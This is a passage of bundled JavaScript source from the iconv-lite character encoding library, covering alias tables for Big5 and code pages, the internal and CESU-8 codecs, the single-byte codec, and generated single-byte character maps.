'cp950',\n 'ms950': 'cp950',\n '950': 'cp950',\n 'cp950': {\n type: '_dbcs',\n table: function() { return require('./tables/cp950.json') },\n },\n\n // Big5 has many variations and is an extension of cp950. We use Encoding Standard's as a consensus.\n 'big5': 'big5hkscs',\n 'big5hkscs': {\n type: '_dbcs',\n table: function() { return require('./tables/cp950.json').concat(require('./tables/big5-added.json')) },\n encodeSkipVals: [\n // Although Encoding Standard says we should avoid encoding to HKSCS area (See Step 1 of\n // https://encoding.spec.whatwg.org/#index-big5-pointer), we still do it to increase compatibility with ICU.\n // But if a single unicode point can be encoded both as HKSCS and regular Big5, we prefer the latter.\n 0x8e69, 0x8e6f, 0x8e7e, 0x8eab, 0x8eb4, 0x8ecd, 0x8ed0, 0x8f57, 0x8f69, 0x8f6e, 0x8fcb, 0x8ffe,\n 0x906d, 0x907a, 0x90c4, 0x90dc, 0x90f1, 0x91bf, 0x92af, 0x92b0, 0x92b1, 0x92b2, 0x92d1, 0x9447, 0x94ca,\n 0x95d9, 0x96fc, 0x9975, 0x9b76, 0x9b78, 0x9b7b, 0x9bc6, 0x9bde, 0x9bec, 0x9bf6, 0x9c42, 0x9c53, 0x9c62,\n 0x9c68, 0x9c6b, 0x9c77, 0x9cbc, 0x9cbd, 0x9cd0, 0x9d57, 0x9d5a, 0x9dc4, 0x9def, 0x9dfb, 0x9ea9, 0x9eef,\n 0x9efd, 0x9f60, 0x9fcb, 0xa077, 0xa0dc, 0xa0df, 0x8fcc, 0x92c8, 0x9644, 0x96ed,\n\n // Step 2 of https://encoding.spec.whatwg.org/#index-big5-pointer: Use last pointer for U+2550, U+255E, U+2561, U+256A, U+5341, or U+5345\n 0xa2a4, 0xa2a5, 0xa2a7, 0xa2a6, 0xa2cc, 0xa2ce,\n ],\n },\n\n 'cnbig5': 'big5hkscs',\n 'csbig5': 'big5hkscs',\n 'xxbig5': 'big5hkscs',\n};\n","\"use strict\";\n\n// Update this array if you add/rename/remove files in this directory.\n// We support Browserify by skipping automatic module discovery and requiring modules directly.\nvar modules = [\n require(\"./internal\"),\n require(\"./utf32\"),\n require(\"./utf16\"),\n require(\"./utf7\"),\n require(\"./sbcs-codec\"),\n require(\"./sbcs-data\"),\n require(\"./sbcs-data-generated\"),\n require(\"./dbcs-codec\"),\n require(\"./dbcs-data\"),\n];\n\n// Put all encoding/alias/codec definitions to single object and export it.\nfor (var i = 0; i < modules.length; i++) {\n var module = modules[i];\n for (var enc in module)\n if (Object.prototype.hasOwnProperty.call(module, enc))\n exports[enc] = module[enc];\n}\n","\"use strict\";\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// Export Node.js internal encodings.\n\nmodule.exports = {\n // Encodings\n utf8: { type: \"_internal\", bomAware: true},\n cesu8: { type: \"_internal\", bomAware: true},\n unicode11utf8: \"utf8\",\n\n ucs2: { type: \"_internal\", bomAware: true},\n utf16le: \"ucs2\",\n\n binary: { type: \"_internal\" },\n base64: { type: \"_internal\" },\n hex: { type: \"_internal\" },\n\n // Codec.\n _internal: InternalCodec,\n};\n\n//------------------------------------------------------------------------------\n\nfunction InternalCodec(codecOptions, iconv) {\n this.enc = codecOptions.encodingName;\n this.bomAware = codecOptions.bomAware;\n\n if (this.enc === \"base64\")\n this.encoder = InternalEncoderBase64;\n else if (this.enc === \"cesu8\") {\n this.enc = \"utf8\"; // Use utf8 for decoding.\n this.encoder = InternalEncoderCesu8;\n\n // Add decoder for versions of Node not supporting CESU-8\n if (Buffer.from('eda0bdedb2a9', 'hex').toString() !== '💩') {\n this.decoder = InternalDecoderCesu8;\n this.defaultCharUnicode = iconv.defaultCharUnicode;\n }\n }\n}\n\nInternalCodec.prototype.encoder = InternalEncoder;\nInternalCodec.prototype.decoder = InternalDecoder;\n\n//------------------------------------------------------------------------------\n\n// We use node.js internal decoder. Its signature is the same as ours.\nvar StringDecoder = require('string_decoder').StringDecoder;\n\nif (!StringDecoder.prototype.end) // Node v0.8 doesn't have this method.\n StringDecoder.prototype.end = function() {};\n\n\nfunction InternalDecoder(options, codec) {\n this.decoder = new StringDecoder(codec.enc);\n}\n\nInternalDecoder.prototype.write = function(buf) {\n if (!Buffer.isBuffer(buf)) {\n buf = Buffer.from(buf);\n }\n\n return this.decoder.write(buf);\n}\n\nInternalDecoder.prototype.end = function() {\n return this.decoder.end();\n}\n\n\n//------------------------------------------------------------------------------\n// Encoder is mostly trivial\n\nfunction InternalEncoder(options, codec) {\n this.enc = codec.enc;\n}\n\nInternalEncoder.prototype.write = function(str) {\n return Buffer.from(str, this.enc);\n}\n\nInternalEncoder.prototype.end = function() {\n}\n\n\n//------------------------------------------------------------------------------\n// Except base64 encoder, which must keep its state.\n\nfunction InternalEncoderBase64(options, codec) {\n this.prevStr = '';\n}\n\nInternalEncoderBase64.prototype.write = function(str) {\n str = this.prevStr + str;\n var completeQuads = str.length - (str.length % 4);\n this.prevStr = str.slice(completeQuads);\n str = str.slice(0, completeQuads);\n\n return Buffer.from(str, \"base64\");\n}\n\nInternalEncoderBase64.prototype.end = function() {\n return Buffer.from(this.prevStr, \"base64\");\n}\n\n\n//------------------------------------------------------------------------------\n// CESU-8 encoder is also special.\n\nfunction InternalEncoderCesu8(options, codec) {\n}\n\nInternalEncoderCesu8.prototype.write = function(str) {\n var buf = Buffer.alloc(str.length * 3), bufIdx = 0;\n for (var i = 0; i < str.length; i++) {\n var charCode = str.charCodeAt(i);\n // Naive implementation, but it works because CESU-8 is especially easy\n // to convert from UTF-16 (which all JS strings are encoded in).\n if (charCode < 0x80)\n buf[bufIdx++] = charCode;\n else if (charCode < 0x800) {\n buf[bufIdx++] = 0xC0 + (charCode >>> 6);\n buf[bufIdx++] = 0x80 + (charCode & 0x3f);\n }\n else { // charCode will always be < 0x10000 in javascript.\n buf[bufIdx++] = 0xE0 + (charCode >>> 12);\n buf[bufIdx++] = 0x80 + ((charCode >>> 6) & 0x3f);\n buf[bufIdx++] = 0x80 + (charCode & 0x3f);\n }\n }\n return buf.slice(0, bufIdx);\n}\n\nInternalEncoderCesu8.prototype.end = function() {\n}\n\n//------------------------------------------------------------------------------\n// CESU-8 decoder is not implemented in Node v4.0+\n\nfunction InternalDecoderCesu8(options, codec) {\n this.acc = 0;\n this.contBytes = 0;\n this.accBytes = 0;\n this.defaultCharUnicode = codec.defaultCharUnicode;\n}\n\nInternalDecoderCesu8.prototype.write = function(buf) {\n var acc = this.acc, contBytes = this.contBytes, accBytes = this.accBytes, \n res = '';\n for (var i = 0; i < buf.length; i++) {\n var curByte = buf[i];\n if ((curByte & 0xC0) !== 0x80) { // Leading byte\n if (contBytes > 0) { // Previous code is invalid\n res += this.defaultCharUnicode;\n contBytes = 0;\n }\n\n if (curByte < 0x80) { // Single-byte code\n res += String.fromCharCode(curByte);\n } else if (curByte < 0xE0) { // Two-byte code\n acc = curByte & 0x1F;\n contBytes = 1; accBytes = 1;\n } else if (curByte < 0xF0) { // Three-byte code\n acc = curByte & 0x0F;\n contBytes = 2; accBytes = 1;\n } else { // Four or more are not supported for CESU-8.\n res += this.defaultCharUnicode;\n }\n } else { // Continuation byte\n if (contBytes > 0) { // We're waiting for it.\n acc = (acc << 6) | (curByte & 0x3f);\n contBytes--; accBytes++;\n if (contBytes === 0) {\n // Check for overlong encoding, but support Modified UTF-8 (encoding NULL as C0 80)\n if (accBytes === 2 && acc < 0x80 && acc > 0)\n res += this.defaultCharUnicode;\n else if (accBytes === 3 && acc < 0x800)\n res += this.defaultCharUnicode;\n else\n // Actually add character.\n res += String.fromCharCode(acc);\n }\n } else { // Unexpected continuation byte\n res += this.defaultCharUnicode;\n }\n }\n }\n this.acc = acc; this.contBytes = contBytes; this.accBytes = accBytes;\n return res;\n}\n\nInternalDecoderCesu8.prototype.end = function() {\n var res = 0;\n if (this.contBytes > 0)\n res += this.defaultCharUnicode;\n return res;\n}\n","\"use strict\";\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// Single-byte codec. Needs a 'chars' string parameter that contains 256 or 128 chars that\n// correspond to encoded bytes (if 128 - then lower half is ASCII). \n\nexports._sbcs = SBCSCodec;\nfunction SBCSCodec(codecOptions, iconv) {\n if (!codecOptions)\n throw new Error(\"SBCS codec is called without the data.\")\n \n // Prepare char buffer for decoding.\n if (!codecOptions.chars || (codecOptions.chars.length !== 128 && codecOptions.chars.length !== 256))\n throw new Error(\"Encoding '\"+codecOptions.type+\"' has incorrect 'chars' (must be of len 128 or 256)\");\n \n if (codecOptions.chars.length === 128) {\n var asciiString = \"\";\n for (var i = 0; i < 128; i++)\n asciiString += String.fromCharCode(i);\n codecOptions.chars = asciiString + codecOptions.chars;\n }\n\n this.decodeBuf = Buffer.from(codecOptions.chars, 'ucs2');\n \n // Encoding buffer.\n var encodeBuf = Buffer.alloc(65536, iconv.defaultCharSingleByte.charCodeAt(0));\n\n for (var i = 0; i < codecOptions.chars.length; i++)\n encodeBuf[codecOptions.chars.charCodeAt(i)] = i;\n\n this.encodeBuf = encodeBuf;\n}\n\nSBCSCodec.prototype.encoder = SBCSEncoder;\nSBCSCodec.prototype.decoder = SBCSDecoder;\n\n\nfunction SBCSEncoder(options, codec) {\n this.encodeBuf = codec.encodeBuf;\n}\n\nSBCSEncoder.prototype.write = function(str) {\n var buf = Buffer.alloc(str.length);\n for (var i = 0; i < str.length; i++)\n buf[i] = this.encodeBuf[str.charCodeAt(i)];\n \n return buf;\n}\n\nSBCSEncoder.prototype.end = function() {\n}\n\n\nfunction SBCSDecoder(options, codec) {\n this.decodeBuf = codec.decodeBuf;\n}\n\nSBCSDecoder.prototype.write = function(buf) {\n // Strings are immutable in JS -> we use ucs2 buffer to speed up computations.\n var decodeBuf = this.decodeBuf;\n var newBuf = Buffer.alloc(buf.length*2);\n var idx1 = 0, idx2 = 0;\n for (var i = 0; i < buf.length; i++) {\n idx1 = buf[i]*2; idx2 = i*2;\n newBuf[idx2] = decodeBuf[idx1];\n newBuf[idx2+1] = decodeBuf[idx1+1];\n }\n return newBuf.toString('ucs2');\n}\n\nSBCSDecoder.prototype.end = function() {\n}\n","\"use strict\";\n\n// Generated data for sbcs codec. Don't edit manually. Regenerate using generation/gen-sbcs.js script.\nmodule.exports = {\n \"437\": \"cp437\",\n \"737\": \"cp737\",\n \"775\": \"cp775\",\n \"850\": \"cp850\",\n \"852\": \"cp852\",\n \"855\": \"cp855\",\n \"856\": \"cp856\",\n \"857\": \"cp857\",\n \"858\": \"cp858\",\n \"860\": \"cp860\",\n \"861\": \"cp861\",\n \"862\": \"cp862\",\n \"863\": \"cp863\",\n \"864\": \"cp864\",\n \"865\": \"cp865\",\n \"866\": \"cp866\",\n \"869\": \"cp869\",\n \"874\": \"windows874\",\n \"922\": \"cp922\",\n \"1046\": \"cp1046\",\n \"1124\": \"cp1124\",\n \"1125\": \"cp1125\",\n \"1129\": \"cp1129\",\n \"1133\": \"cp1133\",\n \"1161\": \"cp1161\",\n \"1162\": \"cp1162\",\n \"1163\": \"cp1163\",\n \"1250\": \"windows1250\",\n \"1251\": \"windows1251\",\n \"1252\": \"windows1252\",\n \"1253\": \"windows1253\",\n \"1254\": \"windows1254\",\n \"1255\": \"windows1255\",\n \"1256\": \"windows1256\",\n \"1257\": \"windows1257\",\n \"1258\": \"windows1258\",\n \"28591\": \"iso88591\",\n \"28592\": \"iso88592\",\n \"28593\": \"iso88593\",\n \"28594\": \"iso88594\",\n \"28595\": \"iso88595\",\n \"28596\": \"iso88596\",\n \"28597\": \"iso88597\",\n \"28598\": \"iso88598\",\n \"28599\": \"iso88599\",\n \"28600\": \"iso885910\",\n \"28601\": \"iso885911\",\n \"28603\": \"iso885913\",\n \"28604\": \"iso885914\",\n \"28605\": \"iso885915\",\n \"28606\": \"iso885916\",\n \"windows874\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€����…�����������‘’“”•–—�������� กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����\"\n },\n \"win874\": \"windows874\",\n \"cp874\": \"windows874\",\n \"windows1250\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚�„…†‡�‰Š‹ŚŤŽŹ�‘’“”•–—�™š›śťžź ˇ˘Ł¤Ą¦§¨©Ş«¬­®Ż°±˛ł´µ¶·¸ąş»Ľ˝ľżŔÁÂĂÄĹĆÇČÉĘËĚÍÎĎĐŃŇÓÔŐÖ×ŘŮÚŰÜÝŢßŕáâăäĺćçčéęëěíîďđńňóôőö÷řůúűüýţ˙\"\n },\n \"win1250\": \"windows1250\",\n \"cp1250\": \"windows1250\",\n \"windows1251\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ‘’“”•–—�™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬­®Ї°±Ііґµ¶·ё№є»јЅѕїАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя\"\n },\n \"win1251\": \"windows1251\",\n \"cp1251\": \"windows1251\",\n \"windows1252\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚ƒ„…†‡ˆ‰Š‹Œ�Ž��‘’“”•–—˜™š›œ�žŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"\n },\n \"win1252\": \"windows1252\",\n \"cp1252\": \"windows1252\",\n \"windows1253\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬­®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�\"\n },\n \"win1253\": \"windows1253\",\n \"cp1253\": \"windows1253\",\n \"windows1254\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚ƒ„…†‡ˆ‰Š‹Œ����‘’“”•–—˜™š›œ��Ÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏĞÑÒÓÔÕÖרÙÚÛÜİŞßàáâãäåæçèéêëìíîïğñòóôõö÷øùúûüışÿ\"\n },\n \"win1254\": \"windows1254\",\n \"cp1254\": \"windows1254\",\n \"windows1255\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚ƒ„…†‡ˆ‰�‹�����‘’“”•–—˜™�›���� ¡¢£₪¥¦§¨©×«¬­®¯°±²³´µ¶·¸¹÷»¼½¾¿ְֱֲֳִֵֶַָֹֺֻּֽ־ֿ׀ׁׂ׃װױײ׳״�������אבגדהוזחטיךכלםמןנסעףפץצקרשת��‎‏�\"\n },\n \"win1255\": \"windows1255\",\n \"cp1255\": \"windows1255\",\n \"windows1256\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€پ‚ƒ„…†‡ˆ‰ٹ‹Œچژڈگ‘’“”•–—ک™ڑ›œ‌‍ں ،¢£¤¥¦§¨©ھ«¬­®¯°±²³´µ¶·¸¹؛»¼½¾؟ہءآأؤإئابةتثجحخدذرزسشصض×طظعغـفقكàلâمنهوçèéêëىيîïًٌٍَôُِ÷ّùْûü‎‏ے\"\n },\n \"win1256\": \"windows1256\",\n \"cp1256\": \"windows1256\",\n \"windows1257\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚�„…†‡�‰�‹�¨ˇ¸�‘’“”•–—�™�›�¯˛� �¢£¤�¦§Ø©Ŗ«¬­®Æ°±²³´µ¶·ø¹ŗ»¼½¾æĄĮĀĆÄÅĘĒČÉŹĖĢĶĪĻŠŃŅÓŌÕÖ×ŲŁŚŪÜŻŽßąįāćäåęēčéźėģķīļšńņóōõö÷ųłśūüżž˙\"\n },\n \"win1257\": \"windows1257\",\n \"cp1257\": \"windows1257\",\n \"windows1258\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€�‚ƒ„…†‡ˆ‰�‹Œ����‘’“”•–—˜™�›œ��Ÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ\"\n },\n \"win1258\": \"windows1258\",\n \"cp1258\": \"windows1258\",\n \"iso88591\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"\n },\n \"cp28591\": \"iso88591\",\n \"iso88592\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ą˘Ł¤ĽŚ§¨ŠŞŤŹ­ŽŻ°ą˛ł´ľśˇ¸šşťź˝žżŔÁÂĂÄĹĆÇČÉĘËĚÍÎĎĐŃŇÓÔŐÖ×ŘŮÚŰÜÝŢßŕáâăäĺćçčéęëěíîďđńňóôőö÷řůúűüýţ˙\"\n },\n \"cp28592\": \"iso88592\",\n \"iso88593\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ħ˘£¤�Ĥ§¨İŞĞĴ­�ݰħ²³´µĥ·¸ışğĵ½�żÀÁÂ�ÄĊĈÇÈÉÊËÌÍÎÏ�ÑÒÓÔĠÖ×ĜÙÚÛÜŬŜßàáâ�äċĉçèéêëìíîï�ñòóôġö÷ĝùúûüŭŝ˙\"\n },\n \"cp28593\": \"iso88593\",\n \"iso88594\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄĸŖ¤Ĩϧ¨ŠĒĢŦ­Ž¯°ą˛ŗ´ĩšēģŧŊžŋĀÁÂÃÄÅÆĮČÉĘËĖÍÎĪĐŅŌĶÔÕÖרŲÚÛÜŨŪßāáâãäåæįčéęëėíîīđņōķôõö÷øųúûüũū˙\"\n },\n \"cp28594\": \"iso88594\",\n \"iso88595\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ЁЂЃЄЅІЇЈЉЊЋЌ­ЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђѓєѕіїјљњћќ§ўџ\"\n },\n \"cp28595\": \"iso88595\",\n \"iso88596\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ���¤�������،­�������������؛���؟�ءآأؤإئابةتثجحخدذرزسشصضطظعغ�����ـفقكلمنهوىيًٌٍَُِّْ�������������\"\n },\n \"cp28596\": \"iso88596\",\n \"iso88597\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ‘’£€₯¦§¨©ͺ«¬­�―°±²³΄΅Ά·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�\"\n },\n \"cp28597\": \"iso88597\",\n \"iso88598\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ �¢£¤¥¦§¨©×«¬­®¯°±²³´µ¶·¸¹÷»¼½¾��������������������������������‗אבגדהוזחטיךכלםמןנסעףפץצקרשת��‎‏�\"\n },\n \"cp28598\": \"iso88598\",\n \"iso88599\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏĞÑÒÓÔÕÖרÙÚÛÜİŞßàáâãäåæçèéêëìíîïğñòóôõö÷øùúûüışÿ\"\n },\n \"cp28599\": \"iso88599\",\n \"iso885910\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄĒĢĪĨͧĻĐŠŦŽ­ŪŊ°ąēģīĩķ·ļđšŧž―ūŋĀÁÂÃÄÅÆĮČÉĘËĖÍÎÏÐŅŌÓÔÕÖŨØŲÚÛÜÝÞßāáâãäåæįčéęëėíîïðņōóôõöũøųúûüýþĸ\"\n },\n \"cp28600\": \"iso885910\",\n \"iso885911\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����\"\n },\n \"cp28601\": \"iso885911\",\n \"iso885913\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ”¢£¤„¦§Ø©Ŗ«¬­®Æ°±²³“µ¶·ø¹ŗ»¼½¾æĄĮĀĆÄÅĘĒČÉŹĖĢĶĪĻŠŃŅÓŌÕÖ×ŲŁŚŪÜŻŽßąįāćäåęēčéźėģķīļšńņóōõö÷ųłśūüżž’\"\n },\n \"cp28603\": \"iso885913\",\n \"iso885914\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ Ḃḃ£ĊċḊ§Ẁ©ẂḋỲ­®ŸḞḟĠġṀṁ¶ṖẁṗẃṠỳẄẅṡÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏŴÑÒÓÔÕÖṪØÙÚÛÜÝŶßàáâãäåæçèéêëìíîïŵñòóôõöṫøùúûüýŷÿ\"\n },\n \"cp28604\": \"iso885914\",\n \"iso885915\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£€¥Š§š©ª«¬­®¯°±²³Žµ¶·ž¹º»ŒœŸ¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\"\n },\n \"cp28605\": \"iso885915\",\n \"iso885916\": {\n \"type\": \"_sbcs\",\n \"chars\": \"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ĄąŁ€„Чš©Ș«Ź­źŻ°±ČłŽ”¶·žčș»ŒœŸżÀÁÂĂÄĆÆÇÈÉÊËÌÍÎÏĐŃÒÓÔŐÖŚŰÙÚÛÜĘȚßàáâăäćæçèéêëìíîïđńòóôőöśűùúûüęțÿ\"\n },\n \"cp28606\": \"iso885916\",\n \"cp437\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜ¢£¥₧ƒáíóúñѪº¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm437\": \"cp437\",\n \"csibm437\": \"cp437\",\n \"cp737\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρσςτυφχψ░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀ωάέήϊίόύϋώΆΈΉΊΌΎΏ±≥≤ΪΫ÷≈°∙·√ⁿ²■ \"\n },\n \"ibm737\": \"cp737\",\n \"csibm737\": \"cp737\",\n \"cp775\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ĆüéāäģåćłēŖŗīŹÄÅÉæÆōöĢ¢ŚśÖÜø£Ø×¤ĀĪóŻżź”¦©®¬½¼Ł«»░▒▓│┤ĄČĘĖ╣║╗╝ĮŠ┐└┴┬├─┼ŲŪ╚╔╩╦╠═╬Žąčęėįšųūž┘┌█▄▌▐▀ÓßŌŃõÕµńĶķĻļņĒŅ’­±“¾¶§÷„°∙·¹³²■ \"\n },\n \"ibm775\": \"cp775\",\n \"csibm775\": \"cp775\",\n \"cp850\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈıÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ \"\n },\n \"ibm850\": \"cp850\",\n \"csibm850\": \"cp850\",\n \"cp852\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäůćçłëŐőîŹÄĆÉĹĺôöĽľŚśÖÜŤťŁ×čáíóúĄąŽžĘ꬟Ⱥ«»░▒▓│┤ÁÂĚŞ╣║╗╝Żż┐└┴┬├─┼Ăă╚╔╩╦╠═╬¤đĐĎËďŇÍÎě┘┌█▄ŢŮ▀ÓßÔŃńňŠšŔÚŕŰýÝţ´­˝˛ˇ˘§÷¸°¨˙űŘř■ \"\n },\n \"ibm852\": \"cp852\",\n \"csibm852\": \"cp852\",\n \"cp855\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ђЂѓЃёЁєЄѕЅіІїЇјЈљЉњЊћЋќЌўЎџЏюЮъЪаАбБцЦдДеЕфФгГ«»░▒▓│┤хХиИ╣║╗╝йЙ┐└┴┬├─┼кК╚╔╩╦╠═╬¤лЛмМнНоОп┘┌█▄Пя▀ЯрРсСтТуУжЖвВьЬ№­ыЫзЗшШэЭщЩчЧ§■ \"\n },\n \"ibm855\": \"cp855\",\n \"csibm855\": \"cp855\",\n \"cp856\": {\n \"type\": \"_sbcs\",\n \"chars\": \"אבגדהוזחטיךכלםמןנסעףפץצקרשת�£�×����������®¬½¼�«»░▒▓│┤���©╣║╗╝¢¥┐└┴┬├─┼��╚╔╩╦╠═╬¤���������┘┌█▄¦�▀������µ�������¯´­±‗¾¶§÷¸°¨·¹³²■ \"\n },\n \"ibm856\": \"cp856\",\n \"csibm856\": \"cp856\",\n \"cp857\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäàåçêëèïîıÄÅÉæÆôöòûùİÖÜø£ØŞşáíóúñÑĞ𿮬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ºªÊËÈ�ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµ�×ÚÛÙìÿ¯´­±�¾¶§÷¸°¨·¹³²■ \"\n },\n \"ibm857\": \"cp857\",\n \"csibm857\": \"cp857\",\n \"cp858\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´­±‗¾¶§÷¸°¨·¹³²■ \"\n },\n \"ibm858\": \"cp858\",\n \"csibm858\": \"cp858\",\n \"cp860\": {\n \"type\": \"_sbcs\",\n \"chars\": \"ÇüéâãàÁçêÊèÍÔìÃÂÉÀÈôõòÚùÌÕÜ¢£Ù₧ÓáíóúñѪº¿Ò¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ \"\n },\n \"ibm860\": \"cp860\",\n \"csibm860\": \"cp860\",\n \"cp861\": {\n \"type\": \"_sbcs\",\n \"chars\": 